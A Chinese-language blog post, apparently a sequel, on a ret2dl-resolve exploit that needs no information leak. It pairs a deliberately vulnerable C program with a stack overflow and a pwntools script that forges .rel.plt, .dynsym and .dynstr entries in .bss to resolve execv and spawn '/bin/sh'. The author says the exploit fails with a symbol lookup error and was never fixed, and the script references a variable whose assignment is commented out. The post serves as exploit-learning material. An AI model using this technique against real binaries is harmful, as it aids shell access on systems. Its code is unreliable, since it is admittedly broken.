Contents
  1. 1. 不依靠信息泄漏来exploit - 2
    1. 1.1. 信息介绍
    2. 1.2. 攻击思路
    3. 1.3. 攻击测试

不依靠信息泄漏来exploit - 2

re2dl 攻击续篇

信息介绍

代码不变,此篇是上篇 << exploit with out info leak >>的续篇,主要实现上篇中提到的第二种攻击思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfunc()
{
char sbuf[10];
read(0, sbuf, 60);
}

int main()
{
vulfunc();
exit(0);
return 0;
}

攻击思路

  1. 伪造.dynstr, .dynsym, .rel.plt三个段,填充要重定位的函数信息。
  2. 压栈伪造函数的传入参数
  3. 压栈伪造.rel.plt起始地址的相对便宜下标
  4. 成功得到shell

攻击测试

先贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python
# -*- coding: utf-8 -*-

from pwn import *
from time import *

vulFunAddr = 0x080484ab
mainFunAddr = 0x080484d6
readpltAddr = 0x08048350
exitpltAddr = 0x08048390
putspltAddr = 0x08048370
printfpltAddr = 0x08048360
printfgotAddr = 0x0804a010
rel_pltAddr = 0x080482e0
dynsymAddr = 0x080481cc
dynstrAddr = 0x0804824c
bssAddr = 0x0804a02c
binShellStr = '/bin/sh\0'
expOffset = 22
payloadHead = 'a'*expOffset

p = process('./fullyRELRO.elf')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p.recvline()

#step 1: write '/bin/sh\0' to BSS seg
payload1 = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0) + p32(bssAddr) + p32(8)
p.send(payload1)
p.send(binShellStr)
log.info("* [ok]: write '/bin/sh\0' to .bss seg successed!")

#step 2: 计算出一个relco,使_dl_runtime_resolve解析能够落入可控区域
fake_elf_relAddr = bssAddr + len(binShellStr) + 4
relco_index = fake_elf_relAddr - rel_pltAddr

#计算各个偏移地址和_dl_fixup正确的解析数据格式
#.dynsym { st_name = .dynsym + 0xd }
fake_dynsymAddr = fake_elf_relAddr + 4*2 + 4
fake_f_info_index = (((fake_dynsymAddr-dynsymAddr)/0x10) << 8) | 0x7


fake_dynstrAddr = fake_dynsymAddr + 4*2 + 4
#fake_st_name = fake_dynstrAddr - dynstrAddr
#fake_st_name = (fake_dynsymAddr + 16) - dynstrAddr

print "* [ok]: cal -> relco_index=%#x, fake_rel.plt=%#x, rel.plt=%#x" % (relco_index,fake_elf_relAddr, rel_pltAddr)
print "* [ok]: cal -> f_info=%#x, fake_dynsymAddr=%#x, dynsym=%#x" % (fake_f_info_index,fake_dynsymAddr, dynsymAddr)
print "* [ok]: cal -> st_name=%#x, fake_dynstrAddr=%#x, dynstr=%#x" % (fake_st_name,fake_dynstrAddr, dynstrAddr)

#step3: 将伪造的各个段数据写入可控区域
payload_writeInfoHeader = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0)

payload2 = payload_writeInfoHeader + p32(fake_elf_relAddr) + p32(4)
payload22 = payload_writeInfoHeader + p32(fake_elf_relAddr+4) + p32(4)
p.send(payload2)
p.send(p32(fake_dynstrAddr + 24))
p.send(payload22)
p.send(p32(fake_f_info_index))
log.info("* [ok]: write fake .rel.plt to bss seg")

payload3 = payload_writeInfoHeader + p32(fake_dynsymAddr) + p32(4)
payload32 = payload_writeInfoHeader + p32(fake_dynsymAddr+4) + p32(4)
p.send(payload3)
p.send(p32(fake_st_name))
p.send(payload32)
p.send(p32(0))
log.info("* [ok]: write fake .dynsym to bss seg")

str = 'execv' + chr(0)
payload4 = payload_writeInfoHeader + p32(fake_dynstrAddr) + p32(len(str)+1)
p.send(payload4)
p.send(str)
log.info("* [ok]: write fake .dynstr to bss seg")

#step4: 压栈relco_index, 调用plt0
plt0 = 0x08048340
payload5 = payloadHead + p32(plt0) + p32(relco_index) + p32(vulFunAddr) + p32(bssAddr)
#gdb.attach(p, execute="b _dl_fixup\nb _dl_lookup_symbol_x\n")
p.send(payload5)
log.info("* [ok]: call _dl_runtime_resolve, get ‘execv' Address over write 'printf' got")
str = p.recv()
print str

p.interactive()

在测试结果时,重定位提示symbol lookup error & undefined symbol,调试了好久也没找到是哪个地方的地址计算错了,不过错误也说明_dl_fixup也顺着我伪造的数据解析下去了。

由于最近事实在是太多了,所以这篇文章写后就不再调试找问题了,准备把重心放在其他类型的漏洞学习上。

Contents
  1. 1. 不依靠信息泄漏来exploit - 2
    1. 1.1. 信息介绍
    2. 1.2. 攻击思路
    3. 1.3. 攻击测试